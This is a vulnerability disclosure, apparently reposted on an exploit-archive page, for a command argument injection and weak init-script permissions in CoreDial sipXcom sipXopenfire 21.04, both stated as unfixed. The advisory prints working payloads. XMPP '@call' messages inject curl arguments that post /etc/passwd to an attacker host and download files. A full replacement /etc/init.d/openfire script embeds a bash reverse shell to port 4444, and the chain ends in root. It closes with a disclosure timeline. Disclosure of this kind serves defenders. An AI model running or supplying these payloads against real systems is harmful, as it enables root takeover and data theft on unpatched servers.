The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
Low
PR
The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: CoreDial sipXcom sipXopenfire 21.04 Remote Command Execution / Weak Permissionsundefined
_____________________________________________________________________
\__/ _ ('-') ( () \__/
Product: sipXcom sipXopenfire
Vendor: CoreDial
Name: "sipXcom sipXopenfire XMPP message system command
argument injection and insecure service file
permissions RCE"
Version: 21.04 and earlier
Fixed: Nope, no response
Link: http://download.sipxcom.org/
CVEs: CVE-2023-25355 & CVE-2023-25356
_____________________________________________________________________
\__/ _ ('-') ( () \__/
TL;DR
CoreDial's sipXcom is a PBX server. It bundles an XMPP server
component sipXopenfire, which is disabled by default. sipXopenfire
is affected by an OS command argument injection vulnerability
(CVE-2023-25356), which allows any user with an XMPP account to pass
arbitrary arguments to a curl command. The same component is also
affected by a weak file permissions vulnerability (CVE-2023-25355),
affecting a service startup script which runs as root. Both issues
can be chained to execute commands as the system root user.
At the time of this disclosure, we have had no response from
CoreDial, and neither issue has been fixed.
_____________________________________________________________________
CVE-2023-25356: OS Command Argument Injection
As part of the initializePlugin() routine in
sipXopenfire\presence-plugin\src\org\sipfoundry\openfire\plugin\presence\SipXOpenfirePlugin.java,
an "interceptor" called DefaultMessagePacketInterceptor is
registered.
The DefaultMessagePacketInterceptor inspects every message that's
sent through the XMPP server. If a message starts with any of the
strings "@call", "@conf" or "@xfer" (referred to internally as
"directives"), a related code path is taken, where the message
content is processed according to what the specific directive is
meant to achieve.
When a message is intercepted which starts with "@call", all the
text after this string is assumed to be a phone number and passed to
the buildRestCallCommand() function. This function creates a long
URL, which the user input is written directly into. There's no
particular attempt to sanitise this input.
This URL is then passed to the sendRestRequest() function, where it
is appended to a curl command string. This string is then passed to
Runtime.getRuntime().exec(command).
Due to the inner mechanics of Runtime's exec() function, we are only
able to control arguments passed to the main curl command.
The constructed curl command is as follows:
```
curl -k -X POST http://[IPAddress]:[Port]/callcontroller/[callerNumber]/[controlledString]timeout=30&isForwardingAllowed=true
```
Since we can inject arbitrary arguments, we can construct a set of
arguments which will read a file using the -d/--data flag, and send
it over the network to us. The only limitation is that the
sipXopenfire process runs as the daemon user. So we can only read
files that are accessible to daemon. However, this includes
potentially interesting files, like the chat history
(/opt/openfire/logs/sipxopenfire-im.log) when chat logging is
enabled.
As proof-of-concept, the following payload will read /etc/passwd
and post it to http://192.168.96.128/abc.
```
@call abc -o/tmp/test123 -d @/etc/passwd http://192.168.96.128/abc
```
We can also download files and write them to the server filesystem.
The following will download the file from
http://192.168.96.128/test.txt and write it to /tmp/test.txt
```
@call abc -o /tmp/dummy -o /tmp/test.txt -X GET http://192.168.96.128/test.txt -o /tmp/dummy
```
_____________________________________________________________________
CVE-2023-25355: Weak Service File Permissions
The /etc/init.d/openfire service file is owned by the daemon user and
group, but runs as the root user. This gives a relatively clear
path to privilege escalation.
It also provides a very useful exploitation path, when chained with
the curl argument injection issue.
Since we can download files and write them to the filesystem, and
the sipXopenfire process runs as the daemon user, we can overwrite
the /etc/init.d/openfire file with a modified version.
The following modified /etc/init.d/openfire will return a shell to
port 4444 on 192.168.96.128 when the sipXopenfire service is
(re)started.
```
#!/bin/sh
#
# openfire Stops and starts the Openfire XMPP service.
#
# chkconfig: 2345 99 1
# description: Openfire is an XMPP server, which is a server that facilitates \
# XML based communication, such as chat.
# config: /opt/openfire/conf/openfire.xml
# config: /etc/sysconfig/openfire
# pidfile: /var/run/openfire.pid
#
# This script has currently been tested on Redhat, CentOS, and Fedora based
# systems.
#
#####
# Begin setup work
#####
# Initialization
PATH="/sbin:/bin:/usr/bin:/usr/sbin"
RETVAL=0
# Check that we are root ... so non-root users stop here.
if [ "`id -u`" != 0 ]; then
echo $0 must be run as root
exit 1
fi
su -s /bin/sh -c "bash -i >& /dev/tcp/192.168.96.128/4444 0>&1"
# Get config.
[ -f "/etc/sysconfig/openfire" ] && . /etc/sysconfig/openfire
if [ -f "/etc/init.d/functions" ]; then
FUNCTIONS_FOUND=true
. /etc/init.d/functions
fi
# If openfire user is not set in sysconfig, set to daemon.
[ -z "$OPENFIRE_USER" ] && OPENFIRE_USER="daemon"
# If pid file path is not set in sysconfig, set to /var/run/openfire.pid.
[ -z "$OPENFIRE_PIDFILE" ] && OPENFIRE_PIDFILE="/var/run/openfire.pid"
# -----------------------------------------------------------------
# If a openfire home variable has not been specified, try to determine it.
if [ -z "$OPENFIRE_HOME" -o ! -d "$OPENFIRE_HOME" ]; then
if [ -d "/usr/share/openfire" ]; then
OPENFIRE_HOME="/usr/share/openfire"
elif [ -d "/usr/local/openfire" ]; then
OPENFIRE_HOME="/usr/local/openfire"
elif [ -d "/opt/openfire" ]; then
OPENFIRE_HOME="/opt/openfire"
else
echo "Could not find Openfire installation under /opt, /usr/share, or /usr/local."
echo "Please specify the Openfire installation location as variable OPENFIRE_HOME"
echo "in /etc/sysconfig/openfire."
exit 1
fi
fi
# If log path is not set in sysconfig, set to $OPENFIRE_HOME/logs.
[ -z "$OPENFIRE_LOGDIR" ] && OPENFIRE_LOGDIR="${OPENFIRE_HOME}/logs"
# Attempt to locate java installation.
if [ -z "$JAVA_HOME" ]; then
if [ -d "${OPENFIRE_HOME}/jre" ]; then
JAVA_HOME="${OPENFIRE_HOME}/jre"
elif [ -d "/etc/alternatives/jre" ]; then
JAVA_HOME="/etc/alternatives/jre"
else
jdks=`ls -r1d /usr/java/j*`
for jdk in $jdks; do
if [ -f "${jdk}/bin/java" ]; then
JAVA_HOME="$jdk"
break
fi
done
fi
fi
JAVACMD="${JAVA_HOME}/bin/java"
if [ ! -d "$JAVA_HOME" -o ! -x "$JAVACMD" ]; then
echo "Error: JAVA_HOME is not defined correctly."
echo " Can not sure execute $JAVACMD."
exit 1
fi
# Prepare location of openfire libraries
OPENFIRE_LIB="${OPENFIRE_HOME}/lib"
# Prepare openfire command line
OPENFIRE_OPTS="${OPENFIRE_OPTS} -DopenfireHome=${OPENFIRE_HOME} -Dopenfire.lib.dir=${OPENFIRE_LIB}"
# Prepare local java class path
if [ -z "$LOCALCLASSPATH" ]; then
LOCALCLASSPATH="${OPENFIRE_LIB}/startup.jar"
else
LOCALCLASSPATH="${OPENFIRE_LIB}/startup.jar:${LOCALCLASSPATH}"
fi
# Export any necessary variables
export JAVA_HOME JAVACMD
# Lastly, prepare the full command that we are going to run.
OPENFIRE_RUN_CMD="${JAVACMD} -server ${OPENFIRE_OPTS} -classpath \"${LOCALCLASSPATH}\" -jar \"${OPENFIRE_LIB}/startup.jar\""
#####
# End setup work
#####
start() {
OLD_PWD=`pwd`
cd $OPENFIRE_LOGDIR
PID=$(findPID)
if [ -n "$PID" ]; then
echo "Openfire is already running."
RETVAL=1
return
fi
# Start daemons.
echo -n "Starting openfire: "
rm -f nohup.out
su -s /bin/sh -c "nohup $OPENFIRE_RUN_CMD > $OPENFIRE_LOGDIR/nohup.out 2>&1 &" $OPENFIRE_USER
RETVAL=$?
echo
[ $RETVAL -eq 0 -a -d /var/lock/subsys ] && touch /var/lock/subsys/openfire
sleep 1 # allows prompt to return
cd $OLD_PWD
}
stop() {
# Stop daemons.
echo -n "Shutting down openfire: "
PID=$(findPID)
if [ -n "$PID" ]; then
if [ -n "$FUNCTIONS_FOUND" ]; then
echo $PID > $OPENFIRE_PIDFILE
# delay copied from restart
killproc -p $OPENFIRE_PIDFILE -d 10
rm -f $OPENFIRE_PIDFILE
else
kill $PID
fi
else
echo "Openfire is not running."
fi
RETVAL=$?
echo
[ $RETVAL -eq 0 -a -f "/var/lock/subsys/openfire" ] && rm -f /var/lock/subsys/openfire
}
restart() {
stop
sleep 10 # give it a few moments to shut down
start
}
condrestart() {
[ -e "/var/lock/subsys/openfire" ] && restart
return 0
}
status() {
PID=$(findPID)
if [ -n "$PID" ]; then
echo "openfire is running"
RETVAL=0
else
echo "openfire is not running"
RETVAL=1
fi
}
findPID() {
echo `ps ax --width=1000 | grep openfire | grep startup.jar | awk '{print $1}'`
}
# Handle how we were called.
case "$1" in
start)
start
;;
stop)
stop
;;
restart)
restart
;;
condrestart)
condrestart
;;
reload)
restart
;;
status)
status
;;
*)
echo "Usage $0 {start|stop|restart|status|condrestart|reload}"
RETVAL=1
esac
exit $RETVAL
```
When served as openfire.txt from a web server (in this case, on
192.168.96.128), the curl argument injection can be exploited as so
to overwrite the original /etc/init.d/openfire script.
```
@call abc -o /tmp/dummy -o /etc/init.d/openfire -X GET http://192.168.96.128/openfire.txt -o /tmp/dummy
```
Once this file is overwritten, we should wait for the sipXopenfire
service to be restarted. This might be from a server reboot, or from
an administrator restarting the sipXopenfire service itself. When
the service does restart, we will get a shell back as the root user.
To make the exploitation more convenient, we could trigger the
sipXopenfire service reload ourselves, if we also have credentials
for the superadmin user on the sipXcom web configuration service.
_____________________________________________________________________
Errata & Disclosure Timeline
These issues were found at the end of October 2022. Initial contact
attempts began on November 2nd 2022.
sipXcom has a Wiki page that describes how to go about reporting
issues. The recommended way is to file a bug on the Jira board,
while setting "the 'Security' level in the New Issue to 'Security
Issue'". I created a Jira account, tried to create an issue, and
could not find the "Security" level option. I also noticed that it
was not possible to tag an issue with any version later than 17.04,
and there had also not been any meaningful activity on the tracker
since November 2021 - about a year before I started the disclosure
process.
Since this recommended disclosure avenue seemed dead/unreliable, I
decided to directly privately approach whichever organisation was
responsible for sipXcom. I tried contacting eZuce who, at the time
of the initial disclosure attempt, were mentioned extensively in the
Wiki. I made several attempts at contact using the eZuce contact
form.
In the meantime, I noticed that the release notes for the latest
sipXcom release started with the sentence "CoreDial is pleased to
announce the GA release of sipXcom 21.04." It appears that eZuce,
who had been the previous maintainers of sipXcom, were acquired by
CoreDial in 2020. This implies that communications made to sipXcom
or eZuce would make their way to CoreDial.
After a few weeks with no response from the sipXcom/eZuce contact
forms, I tried to make direct contact on Twitter. I also included
the CoreDial account in this, and all subsequent tweets. I also
tried to email CoreDial directly. My first attempt to contact
CoreDial directly was December 1st 2022.
At the time of this disclosure, I have sent several emails to,
and tweets directed at, CoreDial. In each of the tweets, CoreDial
untagged themselves, and never responded.
I consider all these reasonable attempts to get the attention of
CoreDial. I would have much preferred that they fix the issues in
sipXcom before this disclosure. However, I encountered an active
lack of interest, so am also comfortable in this case fully
disclosing technical details without any public fix.
This information is provided for TESTING and LEGAL RESEARCH purposes only. All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum